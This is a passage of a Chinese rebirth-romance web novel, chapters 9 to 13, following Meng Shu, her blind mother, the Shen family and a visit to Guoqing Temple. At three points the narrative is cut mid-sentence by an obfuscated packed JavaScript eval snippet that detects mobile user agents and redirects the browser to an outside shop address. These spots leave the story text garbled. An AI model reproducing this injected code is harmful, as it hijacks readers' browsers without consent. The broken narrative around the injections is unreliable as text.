他立马疾步去了邹姨娘的绘春园,说了此事。 邹姨娘喜极而泣,兴冲冲就往沈拓那厢去了。 路上,婢子如意迟疑着问道:“姨娘,五爷会不会不愿意?” 邹姨娘轻哼一声,“他哪里会不愿意,只消搬出那姓孟的丫头,他自然不会放过这出人头地的机会。” “姨娘不是不喜欢孟姑娘吗?”如意纳罕道。 邹姨娘顿了步子,转头横她一眼,“你傻了不成,不过暂时诓他罢了,等他去了书院,日久天长的,慢慢也就将那乡下丫头给忘了。再加上拓儿是正经去读书,老太太那儿也说道不了什么,两人的婚事悬置着,便还有转圜的余地。” 思至此,邹姨娘抬了抬下颌,背脊都挺直了些,面露不屑,“那面黄肌瘦的下贱丫头而今装腔作势,看不起我家拓儿,将来就算是她想嫁也决计高攀不上了。” 翌日,沈筹回了慧德堂,便见屋内的灯亮着,安福迎上来道:“三爷,五爷来了。” 沈筹颔首,阔步入了主屋,沈拓闻见动静,笑容满面地起身朝他而来,“三哥,我去书院的事儿,多谢你了,我已收拾好了行李,明日便启程。” 沈筹在圈椅上坐下,啜了口安福上的茶,方才幽幽道:“到了那儿好生跟着严先生学,多费些心思钻研,莫整日想着家中,我知你不爱读书,可将来要入朝为官,好歹也得过了乡试。” 沈拓重重一点头,感激道:“我知道了,三哥事事为我考量,还为我的事如此尽心,我必然争气,不辜负三哥对我的期望。等我往后有了出息,娶了舒姐姐,宴席上定多敬三哥两杯。” 沈筹捏着茶盏的手一顿,指腹在盏壁上碾了碾,他微微垂睫,掩下眸中暗色,再抬眸时,只浅淡温和地笑着,并未应声。 10. 第 10 章 孟舒在西厢制玉颜膏时,雪兰拿着一封信匆匆进来,说是五爷亲自送来的,还道五爷让她转告,说他要走了,之后一段时日都不会再来叨扰她。 孟舒接信的手一顿,“五爷要去哪儿?” “姑娘还不知道吗?说是去京郊的苍山书院读书去了。” 孟舒愣了一愣,旋即轻轻点了点头,拆开信封,信上的内容不长,是沈拓让她等着他,等他往后功成名就,便正式娶她为妻。 孟舒抬眸看向摆在窗台上的那只木雀儿,不自觉将手中的信揉皱了几分。 少年在字里行间流露出的诚挚让她很难不感动,可等不等的,沈拓的将来也与她无关。 她将信收进抽屉里,不由想起前世后来,沈拓也去了苍山书院,似乎是沈筹安排去的,不过比这一世要迟一些。 前世,她与沈筹那事发生后,邹姨娘一边庆幸,一边又恐沈拓闹起来,着急忙慌以上山祈福为由,诓骗沈拓陪她出京去国清寺住了七八日。 等沈拓回来时,木已成舟,她和沈筹在老太太做主下定了亲,成亲的日子就在一月后。 沈拓无法接受此事,不吃不喝,一度将自己关在房里闹起了绝食,纵然再不争气,老太太到底心疼自己的亲孙儿,觉得解铃还须系铃人,便将她叫去寿昌阁,托她去趟西院,好生劝劝沈拓。 毕竟事情到了这个局面,纵然沈拓再不甘心也改变不了什么。 孟舒思量许久,到底还是应下了,老太太派了身边的黄妈妈陪着她一道去。 那日淅淅沥沥落了雨,及至沈拓的院子,她让黄妈妈和雪兰侯在外头廊庑下,轻手轻脚入了明间,却隐隐听得说话声自里头传来。 那嗓音略有些熟悉,是沈筹。 雨水扑打在屋檐窗扇上,显得有些嘈杂,可孟舒还是听清了沈筹说的话。 “……孟舒出生乡野,身份低微,还带着一个眼盲的寡母,于你仕途不但毫无益处,甚至有可能拖累你,你又何必执着于她……” 那男人的嗓音清冷淡漠,就如同他这一席话,一瞬间寒透了孟舒的心。 她不知自己是如何走出去的,只记得自己脑中一片空白,黄妈妈问她怎出来得这么快时,她只是语无伦次说不必进去了,直到快步出了沈拓的院子,才说发现沈筹也在里头,沈拓看起来平静了不少,当是给劝住了,她就不便再去掺和,也让黄妈妈这般回去禀报沈老太太。 其实,沈筹打心底瞧不上她的事,孟舒不是不清楚,她知他说的句句都是实话,可亲耳听见,仍免不了滞闷难受。 可也因着这话,前世成婚后,纵然沈筹对她这个妻子并不算差,也给了她足够的体面,不纳妾不设通房,她也一直很有自知之明,知晓沈筹所做的一切只是出于骨子里的教养,并不会生出不切实际的幻想来,始终安安分分,履行一个妻子应尽的职责。 同样,这一世,孟舒依然很清醒,明白沈筹说要娶她,不过出于一腔责任,心底却是和旁人一样,嫌弃她的。 可既是违心,就算成了夫妻,往后的日子又怎能过得舒畅。 不过得过且过罢了。 制了一半的香膏,孟舒估摸着时辰放下手中的东西,去了邱雁娘的卧房,不消一炷香的功夫,就听外头传来响动。 她假作未闻,直到邱雁娘忍不住提醒道:“皎皎,可是季大夫来了?” 她方才搁下手中的笔,不紧不慢站起身,季大夫已然被雪兰领进屋来,见了她,扫了眼她面前的书案,便一如往常般给邱雁娘问诊施针。 这回,孟舒始终安安静静候在一旁,并未出声。 半个时辰后,季嵩收了针,重新背起药箱,然起身的一刻,眸光却再次落在了那张书案上。 “那是你画的?” 虽季嵩并未看向她,但孟舒知道这是在同她说话,她惶恐道:“先头在书上瞧见的,一时生了兴趣,便凭借记忆画了下来,画着玩儿而已,让季大夫笑话了。” 书案上赫然摆着一张画了一半的经络图,其上各处穴位标注得清清楚楚。 季嵩盯着看了半晌,复又坐了下来,重新取出针囊,抬首问道:“施过针吗?” 孟舒摇了摇头。 这一世的她的确没有。 季嵩将针囊展开,一边伸出左手,一边指着其中两枚干净的银针道:“取针,扎我的合谷穴和劳宫穴,浅刺即可。” 一旁的邱雁娘听得此言,面色微变,正欲说什么,却被孟舒默默用手轻按在了肩上,示意她安心。 邱雁娘便闭上了嘴,晓得女儿大了,自有她的主意和打算,她这副样子,帮不上什么,却绝不能碍手碍脚,从中添乱。 前世孟舒为替她娘缓解头疼扎了无数回针,只是浅扎两个穴位于她而言并非什么难事,可她还是抿了抿唇,作出一副忐忑的模样,上前取了针,迟疑片刻,才对着季大夫所说的穴位依次稳稳扎了下去。 取针罢,她不安地看过去,便见季嵩意味深长地看着她,淡淡道:“倒是颇有些天赋。” 他再次收拾了药箱,起身朝外头而去,孟舒忙跟在后头。 临至院门口,季嵩止了步子,回首道:“药方不变,我四日后再来。” 言罢,他也不走,忽又道:“听闻你与沈家,除却祖辈故交外,似还有些旁的牵扯……” 孟舒当然知道季大夫指的是什么,她定定道:“都是谣传,我来沈家只为给我娘看病,待我娘病好了,便也离开了。” 季嵩轻轻点了点头,未再多问什么,转身而去。 孟舒望着那已微微有些佝偻苍老的背影,秀眉微蹙。 以季大夫这般医术,想来对他所患之疾应早有察觉,不然也不会在前世发觉她有行医天赋后急着将独门的针灸之法传授给她,可这位季大夫同样性子倔强,因着那陈年往事,怕不会再轻易收徒,带她离开沈家。 此事,还得徐徐图之。 用过午饭,孟舒正准备继续做香膏,却听院子里雪梅殷勤的声音响起,“三姑娘,五姑娘。” 孟舒忙收拾了桌案上的东西,推门一瞧,就见沈瑶快步而来,拉着她的手亲昵地唤了声“舒姐姐”。 后头跟着三房的三姑娘沈玥。 “两位姑娘怎么来了,快里头坐,我娘正在午憩,我去唤她一声。” “不必了。”沈瑶制止她,“我和三姐姐坐一会儿便走,邱姨既歇着,就不打搅她了。” 三人在西厢坐下,待雪梅上了茶,沈瑶道:“我们才从祖母那儿过来,是想来问问姐姐,后日要不要一道去国清寺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“怎会呢。”孟舒知道她娘很难不动心思,“听说国清寺祈福很是灵验,超度法会上,娘您也能跟着一道诵经,届时我们再替阿爷阿奶和爹他们供灯,好助他们往生善道。” “好。”邱雁娘笑着颔首。 翌日,孟舒出府去了百草堂替她娘抓药,也是头一回陪着刘大夫坐诊出诊。 周大夫年岁大了,除非实在棘手的病人,平日并不出面,只在后院盯着伙计们晾晒处理草药。 刘大夫是个极为和善之人,晓得孟舒除却帮忙外也想多学些真本事,便总让她也跟着探探病人的脉象,教她如何分辨诊断。 到了第二日,天未亮,孟舒便起了身,着了身素净衣裳,扶着她娘去府门口坐前往国清寺的马车。 大太太和三太太带着五姑娘三姑娘也来了,二太太身子不适,二房就来了一个四姑娘沈琏。 沈老太太是最后来的,马车分了三辆,她由大太太三太太陪着,剩下还有两辆,沈琏扫了孟舒母女一眼,显然不想与她们同乘,拽了拽三姑娘沈玥就往沈老太太坐的后一辆马车而去。 沈瑶见状却也不跟着,笑盈盈道:“舒姐姐,我同你和邱姨一道吧,正好也想听你们讲讲汝宁是什么样的呢。” 孟舒含笑点了点头。 然待众人都坐上车后,不知为何马车却久久不动,像是在等着谁,孟舒疑惑地看向沈瑶,却听外头响起马蹄声。 沈瑶了然道:“当是三哥哥来了。” 孟舒微微一惊,沈瑶口中的三哥哥还能有谁。 听着逐渐靠近的声响,孟舒不由掐了掐掌心,却见沈瑶欢喜地一把掀开帘子。 耀眼的晨光照进来,颇有些刺眼,她抬手挡了挡,透过指缝,便见一身绀青常服的男人坐于高头大马上,正气定神闲地将目光落在她的身上。 11. 第 11 章 有些人当真是越想避便越避不开。 孟舒心下直叹倒霉。 沈瑶趴在窗框上,挑眉道:“三哥哥向来忙碌,今日却难得陪我们一道去,我知道为何。” 说罢,露出意味深长的笑来。 “哦,为何?”沈筹浅笑着问道,目光却越过沈瑶,落在后头那纤弱的身影上。 “我才不说呢。”沈瑶噘了噘嘴,“三哥哥快去见过祖母吧,可别误了我们的行程。” 说罢,沈瑶一把放下帘子,转头瞧见坐在角落一声不吭的邱雁娘,关切道:“邱姨的病也治了一段时日了吧,可有好些,能看见东西了吗?” “尚不能呢。”邱雁娘答,“不过季大夫妙手回春,从前令我痛不欲生的头疾,而今已减缓了许多,发作时也没那么疼了。” “多亏老夫人请来了季大夫,不然我娘只怕是凶多吉少。”孟舒也道。 这话并非恭维,孟舒当初带着她娘来京时,一路寻到了季大夫住的院宅,却被家仆告知季大夫正外出云游,那人不肯透露季大夫的去向,还劝孟舒说,就算季大夫在京城,也不会答应替她娘治病。 自当年因被诬陷身陷囹圄险些丧命后,季大夫已有十数载不轻易给人看诊了。 也因如此,孟舒心灰意冷,万般无奈之下,才找上了沈家,想着季大夫不能救,沈家这般名门望族,定也能寻到其它好大夫。 沈老太太慈厚,当时的确替她延请了不少京中名医,甚至是宫里的太医,却都对她娘的病束手无策,最后老太太凭沈老爷子与季大夫当年的交情,去信一封,这才使季大夫回到京城替她娘诊治。 孟舒心里很清楚,季大夫之所以肯答应,全然是念着沈老爷子当年救命的恩情。 若没有沈家相助,她娘根本活不到现在,故而她对沈家的感情始终很复杂。 感激是真的感激,可逃也是真的想逃。 正如沈瑶所言,虽国清寺在半山腰上,但山路甚是平坦,马车在山门前停下,孟舒先下了车,方便接应她娘,可因着看不见,邱雁娘下车极为费劲。 “娘,莫怕,你且蹲下来些,尽管往下踩,女儿会扶住你的。” 邱雁娘点了点头,松开扶着车身的手,用脚去够底下的矮凳,可好半天都落不到地方,心下不禁有些慌乱。 恰在此时,一只手抓住了她的手臂,那力道令邱雁娘安心了几分,这才再次大着胆子将脚伸下去,稳稳踩上木凳,顺利下了马车。 待落了地,她听见孟舒恭敬地道了句:“多谢三爷。” 邱雁娘这才意识到适才是沈家大房那位最有出息的三爷帮了她。 “劳烦三爷。” “您客气了。”沈筹低沉浑厚的嗓音传来,随即是离开的脚步声。 孟舒上前挽住娘亲,就听邱雁娘道:“从前听这沈三爷说话,总冷冷淡淡的,不想竟也是个热心肠。” 孟舒闻言扯了扯唇角,苦笑了一下。 她怕的便是他这份热心,她倒希望他离得远远的,千万别来理睬她才好。 她抬首望去,便见沈筹已快步行至大太太身侧,大太太问了两句,蓦然回头朝她这厢看了一眼。 孟舒扶着邱雁娘跟在最后头,沈老太太恐孟舒一人照顾不过来,特意遣身边一名叫玉露的丫鬟在旁陪着。 大殿中僧人们正围坐诵经,袅袅禅音飘入周遭寂静的云雾山林间,平添了几分神圣。 孟舒寻了个角落,与邱雁娘坐在蒲团上跟着寺中的小师傅们诵念。 庄严慈悲的金身大佛前,一排排烛火闪烁摇晃,孟舒侧首看向正阖眼虔诚祈福的娘,亦闭上眼,双手合十,只是少顷,她忽而想起什么,神情黯淡了几分。 她不知这世的祈愿能不能抵达前世,若是可以,她想为她失去的那个孩子求上一求。 那孩子没了,未必没有她这个粗心大意的母亲的责任,若她早些发现身体的异样,也不至于因悲伤过度,太过虚弱而小产。 思至此,她睁开眼,下意识看向不远处坐在大太太身侧那个高大清俊的背影。 疏影轩夜里没有值守的下人,骤然失火也不知何时会被发现,想来最后她应是焦尸一具了吧。 但沈筹这个父亲从头至尾都不知那个孩子的存在,未必不是一件好事。 如此,在替她下葬后,过个一年半载,他也能娶个门当户对的妻子,便如那位倾心于他,又令大太太陈氏满意的苏姑娘,安安心心生儿育女,延绵子嗣。 而那孩子没有俗世的牵绊,定也能投个好胎。 坐了约莫一个时辰,有僧人过来,陆续领着香客们去后院用斋饭。 孟舒也扶着她娘一道前往,及至饭堂,还未入内,却见一衣着华贵的妇人朝这厢而来,拉着自家姑娘同沈老太太问安。 沈老太太笑逐颜开,邀着一道用饭,妇人摇头称家中马车坏了,这才姗姗来迟,来前已然用过饭了。 孟舒站在后头,静静看沈瑶亲昵地拉着蒋映薇,沈家几个姑娘都围在侧,言笑晏晏,不由低下头,扶着她娘亲的手紧了几分。 她想起了前世的自己。 也是这般,孤零零看着旁人的热闹。 格格不入就是格格不入,前世嫁进沈家不久,她就清楚,她根本融不进那里。 毕竟再漂亮的山鸡,也只是山鸡,不仅变不成凤凰,还注定与凤凰有着天壤之别。 又与大太太寒暄了几句,蒋夫人便辞了众人,带着蒋映薇往大殿的方向而去。 入了饭堂,大太太陈氏忽而凑近,低声问道:“孟舒,你瞧着映薇如何?” 孟舒微微一愣,“蒋姑娘知书达礼,又才名在外,自然是顶好的,我哪敢随意置喙。” 大太太笑了笑,又问:“那你觉着,她与我家筹儿可相配?” 孟舒闻言深深看了大太太一眼,定定道:“自是门当户对,再好不过的亲事。” 大太太满意地点点头,“映薇那孩子也算是我看着长大的,无论是品性还是才学放在整个京城都是一等一的,至于我家筹儿,别看他性子淡,对谁都算和善,一副无所谓的模样,但实则眼光高,平庸的只怕还看不上,但映薇与他是青梅竹马,知根知底,情分定是不同些。筹儿先前忙着考取功名,没顾得上自己的终身大事,而今我这当娘的也该为他筹划筹划了。” 说罢,笑了笑,快了步子,往老太太的方向去了。 待大太太走后,邱雁娘疑惑道:“大太太突然问你这些做什么?” 是啊,问她这些做什么,她一个外人又是晚辈,按理不该问她这些。 见连她娘都察觉到了异样,孟舒自嘲地笑了笑,“没什么,想是随口问问罢了。” 用过斋饭,沈老太太准备和大太太、三太太去偏殿听住持讲经,沈瑶沈琏哪是耐得下性子听这些的,说寺中有棵百年银杏,而今正是层层叠叠,满目鎏金,最美不胜收的时候,不但可赏景,亦可在其上系红绳许愿。 沈老太太听罢也不拦,只让沈筹和几个家丁护院在旁陪着,今日寺中因法会人员繁冗,鱼龙混杂,且数那处香客最多,几个姑娘家自个儿去不安全。 说罢,老太太转头又问孟舒可要一道去,孟舒顾及着母亲,又瞥了眼那张清冷俊秀的面容,摇了摇头,道有些累,就不去了。 沈家众人离开后,在饭堂坐了一炷香的工夫,孟舒便陪着邱雁娘在四下闲走,一路同她描述周遭的风景。 行至一院落附近,或是嗅见香烟气又浓重了几分,邱雁娘好奇问:“这是到哪儿了?” 前头院门掩映,清幽僻静,孟舒正欲回答,就听跟在后头的玉露答:“回夫人,这是往生堂,寺中供奉牌位的地方,听闻老太爷、大老爷和四爷的往生莲位都在里头呢。” 邱雁娘闻言拍了拍身侧的女儿,“沈家待我们母女不薄,既然来了,皎皎,你进去上炷香吧。” 孟舒应声,让玉露扶着邱雁娘且在前头的长廊底下坐一坐。 她整了整仪容,行至那往生堂前,正欲去推那掩映的门,不想“吱呀”一声,门扇自里头拉开了。 门后一个高大挺拔的身影挡住了天光,孟舒忙退出来,往一侧让了让。 那人正与寺中僧人说着什么,好大一会儿,僧人才将人送出来,恭敬道:“崔大人慢走。” 被称崔大人的男子缓缓颔首,“多谢小师傅。” 那嗓音若磬石般低沉动听,令孟舒忍不住抬眸,或是感受到她的视线,男子亦侧首看来。 然看清此人面容的一瞬,孟舒怔了怔,眼前人近不惑之年,虽唇下留有修剪得当的胡须,但盖不住眉眼的儒雅周正,燕青襕衫,那双眼眸若蕴着一汪深邃的湖泊,明亮而幽深。 孟舒脑中忽而闪过几个字,松风水月,玉貌丰神。 这位崔大人在触及她目光时,并未计较她无礼的打量,而是含笑冲她轻轻点头,分明再谦和温厚不过,孟舒却在他身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她还未提步,却听面前人低声道:“若你有孕,又该如何?” 有孕? 孟舒只觉好笑,她经历过前世,自然知晓她不会有孕。 “三爷真是越说越荒唐了。”她直视着沈筹,显得淡然自若。 沈筹微微眯起眼眸,凝视着孟舒,少顷,一字一句道。 “你这般平静,就好像……提前知晓自己不会有孕一样……” 那厢,邱雁娘等候许久,见女儿迟迟不归,不禁担忧起来。 “玉露。”她恳求道,“你能否去看看,我家皎皎去的有些久了。” “夫人莫急。”玉露安慰道,“您且坐着,奴婢这便过去瞧瞧。” 邱雁娘点头称好,柱着杖在廊下焦急地等。 不多时,远处响起一阵脚步声,似有孩童笑着跑来,邱雁娘下意识垂下脑袋,将身子往里缩了缩,生怕碍着旁人的路,然没一会儿,脚步声停了,稚嫩的嗓音带着几分嫌弃在她耳畔道:“哪里来的丑八怪。” 邱雁娘面色微变,但还是强笑着赔罪,“抱歉,吓着小郎君了。” “知道吓人,还出来作甚,便该在那臭水沟里躲着才是。” 那孩童话音才落,“啪”的一声,邱雁娘便觉手上的木杖被一个极大的力道踢落在地,孩童因戏弄而欢快的笑声随之而起。 邱雁娘蹙眉,但到底不敢吱声,她是沈家带来的,自不能给沈家,给她女儿招惹麻烦。 她等了片刻,见没了声响,这才蹲下身用双手摸索着去寻木杖。 然摸到木杖的一刻,奇怪的是,竟怎也拿不起来,她疑惑之际,耳畔嘲讽的笑声乍起,“看吧,我就说她是个瞎子!” “小公子好眼光。”小厮奉承道。 “丑瞎子,求求小爷,我便将这木棍还给你。” 邱雁娘意识到她的木杖大抵是被眼前这位无法无天的小阎王踏在了脚下,她抿了抿唇,却是艰难地站直了身子,一声不吭。 “你求不求?” 她这般举止顿时惹怒了眼前的孩童。 “不识好歹!”孩童气冲冲伸手从背后猛推了一把邱雁娘。 邱雁娘看不见,自是防不胜防,身子骤然向前扑去,结结实实摔在了坚硬的地面上。 那孩子仍不解气,嘴上骂着“死瞎子”,竟一把抄起地上的木杖便要往邱雁娘背上砸去。 他身侧的小厮笑着袖手旁观。 千钧一发之际,一只大掌死死握住了那根木杖。 “哪家顽童,光天化日之下,敢行如此伤人之事!” 孩童被这声喝吓得顿时愣在原地。 然听得这低沉熟悉的嗓音,摔得浑身发疼的邱雁娘却如遭雷击般怔忪在那里,少顷,她鼻尖泛酸,颤声唤道。 “珩郎……” 12. 第 12 章 被倏然斥责,孩童却仍不收敛,趾高气昂道:“你是何人,可知我爹是谁,竟敢管小爷我的事!” 邱雁娘感受到自己被一只有力的手臂搀扶起来,重新坐在了长廊下。 她红着眼摸索着想抓住那人,却听有人小跑而来。 “老爷,您在这儿呢,倒让公子说中了。公子的事办完了,说是去山门外等您。” 被称为“老爷”的男人道了声“好”,抬首看向那孩童。 那孩童气冲冲似还想做什么,被身旁的小厮慌忙拦下了,小厮是个见风使舵的,这毁了容的死瞎子便就罢了,但看眼前这人的衣着气度,恐身份不凡,不好轻易招惹。 他低身劝道:“小公子,太太她们想必也快回来了,咱们赶紧过去吧。” 听得“太太”二字,那孩童这才肯罢休,冷哼一声,不悦地扭头走了。 邱雁娘感受到木杖被重新放回自己手中,旋即是男人温和的嗓音,“夫人可曾伤着?” “并无大碍。”她忍着疼,强笑道,“多谢大人相助。” “夫人是哪家的家眷,若是迷路失散了,我可派人去寻夫人的家人。” “不必了,多谢大人好意。”邱雁娘道,“小女就在附近,当很快便会回来。” “老爷。”那男人的家仆开始催促。 男人默了默,又道:“夫人若确定无事,那我便先行一步了。” 邱雁娘闻言起身恭敬地福礼,“大人慢走。” 耳畔传来低低的一声“嗯”,紧接着是渐行渐远的脚步声,邱雁娘扶着廊柱,重新坐下后,神色却不禁黯然。 虽已十七年未见,可乍一听得,她仍是惊了惊,因这嗓音,与她失踪多年的夫君实在相像。 可惜,虽那位大人与她的珩郎一样温柔良善,但就算是她毁了容,上了年岁,这张脸没了往昔的光彩,他定也能认出她来。 那位大人,怎都不可能是她的夫君。 她的珩郎,或还在地府,等着与她团聚呢。 长廊尽头,崔铮缓缓停下了脚步,折首望向坐在那儿的落寞又病弱的身影,心下生出些异样的感受来。 少顷,他问道:“你可知适才那顽劣不堪的小衙内,是哪家的?” 赵兴想了想,“似是户部李郎中家的小公子,小的先前随公子赴宴时,曾见过两回。因是老来子,李郎中与夫人对这幺儿极为宠惯,百依百顺,小的记得,先前周尚书家的百晬宴上,似因着婢子制止摘花,那小公子一气之下,竟是一把将人推到了池子里,险些淹死……” 听至此,崔铮剑眉紧蹙,抿唇,面色沉了几分。 往生堂内。 孟舒怔怔看着沈筹,她总觉得他方才那话透着一股说不出的怪异。 这究竟是何意,是随口发出的疑问,还是……对她的试探? “姑娘。” 门外,传来玉露的声音,紧接着,门扇晃了晃,似有人试图从外头推开。 孟舒心一提,但下一刻,才发现门被闩牢了,院内空荡荡的,那小师傅也不知去了何处。 不必想,定是叫眼前人给支走了。 她唯恐玉露担心,亦怕她发现蹊跷,忙提声应答,也顾不得沈筹,略过他径直往门口而去。 “夫人。” 背后传来那低沉浑厚的嗓音。 孟舒下意识顿下脚步。 四下没有旁人,他在唤谁。 他还能唤谁。 前世,她与沈筹成婚后,虽为夫妻,但彼此间仍恭敬疏离,她仍唤沈筹“三爷”,沈筹则唤她“夫人”。 平素,在她为他伺候茶水,整理着装时,听到最多的便是那句“多谢夫人”,她也总端笑以对。 只除却一处,那时他清冷的声儿会变得喑哑低沉,滚烫的汗珠滴落在她胸口,再喊出的那句“夫人”则让她咬着唇难熬又难耐。 一个猜想浮现在她的脑海,她呼吸凌乱,脑中亦一团乱麻,心下连道了好几句“怎么可能”。 可偏偏这个猜想荒唐却又极其合理。 她到底没有回头,只仓皇往前,抽开门闩,逃了出去。 为防玉露瞧见沈筹,她只开了个门缝,自里头出来,便又反手闭上了门。 玉露见孟舒神色有些异样,蹙眉问道:“姑娘,您怎么了?” 孟舒摇了摇头,转而问:“我娘呢?” “夫人担心姑娘,让奴婢过来瞧瞧,这会儿当还坐在长廊下呢。” 听得她娘独自一人,孟舒的步子不由快了些,过去时,见邱雁娘好端端坐在那儿等,这才放下心,上前唤了一声。 邱雁娘拉住女儿的手,“怎去了这么久?” 孟舒面不改色地随意编了个由头,“女儿看见那些往生莲位,难免动了心,也想给阿爷阿奶他们立一个,便去请教院里的小师傅关于供牌位的事儿,这才耽搁了。” 她顿了顿道:“但这国清寺到底是皇家寺庙,供一个牌位需得不少香火钱……” “罢了。”邱雁娘道,“供了灯便足够了,我们母女吃住都在沈家,哪拿得出这个钱啊,连此番供灯的钱也是沈家出的,你阿爷阿奶和爹爹他们在下头也明白。” 孟舒“嗯”了一声,便扶着她娘回了饭堂,没一会儿,有沈家的下人过来,说是老太太那厢事了,遣她带她们去山门外坐马车回去。 自饭堂到山门并不远,可走了一段,孟舒便察觉到她娘走得有些慢。 她不由蹙眉,“娘,你是不是不太舒服?” “无事。”邱雁娘额上泛起了一层薄汗,疲惫地笑道,“娘只是有些累了。” 听得此言,待到了地方,孟舒先将她娘扶上了马车歇息,自个儿在原地等。 沈老太太几人比她来得迟些,大太太和蒋夫人并排走着,有说有笑,蒋映薇也同沈家几个姑娘在一块儿,两家出了山门才告别分开。 见孟舒一人在那儿,沈老太太疑惑道:“舒丫头,你母亲呢?” 孟舒解释:“老夫人莫怪,母亲有些累了,孟舒便擅自做主,让她先去马车上休息。” “这有什么怪不怪的,该歇着的。”沈老太太闻言叹了口气,“她生着病,眼睛也不方便,着实难为她了。” 跟在后头的沈瑶四下张望了一下,嘟囔道:“三哥哥还未回来呢,他嘱咐人好生护着我们,中途便走了,也不知寻着了什么好去处。” 听得此言,孟舒朱唇微抿,有些心虚地垂了垂睫。 沈瑶将目光定在一处,面上倏然浮现出戏谑的笑,她用手臂碰了碰沈琏,打趣道:“四姐姐,你瞧,那不是刚刚帮你捡红绳的公子吗,怎的,你不上去再谢谢人家?” 沈琏顿时臊红了脸,狠狠剜她一眼,“莫要胡说,祖母在呢。” 沈瑶却是不管,她行至大太太身侧打探,“母亲,你见多识广,可认得那是谁家的公子?” 大太太正抬头打量时,三太太已然道:“似是崔阁老家的公子……” 沈瑶面露惊诧,低低“呀”了一声,“那便是常被人与我三哥哥相较的崔允衡崔大公子吗。” 听得那人的身份,原还羞赧的沈琏微怔了怔,噘起嘴,神色变得低落起来。 孟舒顺着她们的视线看去,便见不远处临着山壁的马车旁,立着一及冠之年的男子,晴蓝直缀,玉冠束发,俊朗的眉宇间透着几分英气,正与上前问候的人行礼攀谈。 前世,纵然孟舒对京中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17423910|200843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事了解不多,却也听说过这个崔允衡,现内阁大学士崔铮的养子。 她知晓沈琏为何在听说崔允衡的身份后心生失望,因就算崔允衡还未成婚,但以而今朝中的局势,两人几乎毫无可能。 一年前,先帝驾崩,而立之年的太子应昭登基,改年号为庆和,并将自己的老师卢灏封为吏部尚书兼谨身殿大学士,入主内阁为二辅,朝中就此分为两派。 一派是以卢灏为首,因新帝御极而受到扶植的原东宫一党,而另一派,则是以而今的内阁首辅江子荣为首的旧臣。 卢灏欲取江子荣而代之的野心世人皆知,他仗着新帝恩宠处处打压江子荣,可江子荣这样的老臣,曾铲除过为害多年的尚贼一党,在朝中资历深厚,门生故吏遍布天下,树大根深,又岂是容易对付的,两派由此水火不容,在朝堂上明争暗斗。 而那位崔铮崔大学士,因是江首辅监考那年的二甲进士,当时又恰被江子荣大力推荐的考卷,对其有莫大的知遇之恩,作为门生,自然被归为了江子荣底下。 沈家对这场朝堂之争虽没有明确站队,但沈筹在国子监时的老师,即蒋映薇的父亲蒋绍在入阁前却是太子洗马,受了卢灏提拔的恩情,自是与卢家一处。 作为蒋绍的学生,又被认为即将迎娶蒋映薇,沈筹乃至于整个沈家便被外人视为站在江家的对头。 既是如此,与江家交好的崔家又怎会与沈家联姻。 沈瑶也知晓其中枝节,不敢再说,然下一刻,却是笑着指向远处,“三哥哥来了。” 孟舒看过去时,头一眼瞧见的却并非沈筹,而是沈筹身侧那人,她满心疑惑之际,就听沈瑶问道:“母亲,与三哥哥一道的是何人?” 大太太道:“那便是崔阁老。” 崔阁老,崔铮! 那就是崔铮。 竟就是她在往生堂门口遇到的人。 孟舒面露诧异,虽从未见过,但前世三年后,这位崔大人在整个京城,不,应是整个大成的声名可谓如雷贯耳。 不仅如此,他还是那前世对沈筹心生爱慕的苏姑娘苏以然的义父。 两人虽同行,但出于礼数,沈筹始终在崔铮半步之后,两人交谈间心平气和,根本看不出在朝中分属两派,各有立场。 孟舒蓦然想起适才在往生堂中发生之事,朱唇微抿,神色不禁复杂起来。 若真是她猜想的那样,那沈筹也应当知晓将来之事才对,如此,他还要坚持因那份担当而娶她吗? 她既是在死后才来的这里,那沈筹大抵也是如此,可和她不同,前世,在她被烧死后,他应又续弦,一生圆满,寿终正寝。 无论那人是不是苏以然,他的第二任妻子定也是大太太为他精挑细选的高门贵女。 孟舒头一回那么恨自己偏偏重生在与沈筹有了夫妻之实后,若是再早一日,沈筹就不必违背心意对她负责。 他而今或是觉得无所谓,可如同他前世曾对沈拓说的那般。 她低微的出身对他的仕途毫无助益。 等将来沈筹发现她的存在无法令他再像前世那样在官场上顺风顺水时,谁又敢保证他不会心生怨怼。 更何况…… 孟舒看向站在沈瑶身侧的大太太陈氏。 她终究不想再过从前那般处处谨小慎微,低眉顺眼,消磨在反复等待中的日子,也不想继续被婆母厌烦。 她不傻,不可能听不出今日大太太问她蒋映薇之事,根本是在暗中提醒她莫觊觎不该觊觎的东西,要有自知之明。 这东西,孟舒有的。 她知道山鸡变不成凤凰,可她也没想变成凤凰,从始至终,她只是想待在她的山鸡堆里,凭自己的本事活出个样子。 13. 第 13 章 翌日,天朗气清,孟舒正准备去主屋陪邱雁娘用早饭,却见雪兰慌慌张张进来。 “姑娘,适才奴婢去给夫人送水,夫人也不知怎么了,躺在床榻上说累,没有起来。”雪兰面露担忧,“夫人一向起得早,如此反常,可是病了?” 孟舒蹙了蹙眉,快步朝主屋而去,果见邱雁娘躺在拔步床上,面色有些苍白。 她探了探她娘的额头,倒是没烧,又把了脉,脉象稍有些虚弱。 “娘,您怎么了,可有哪里难受?”她问道。 “娘无事,就是昨夜没睡好,这才贪了觉。”像是为了证明这话,邱雁娘用手支起身子,试图坐起来。 虽她咬牙努力控制着神情,但还是教孟舒发现了端倪。 “娘,你可是哪里疼?” 不待邱雁娘回答,孟舒一把撩起她娘的衣袂,却见净白的肌肤上一片青紫。 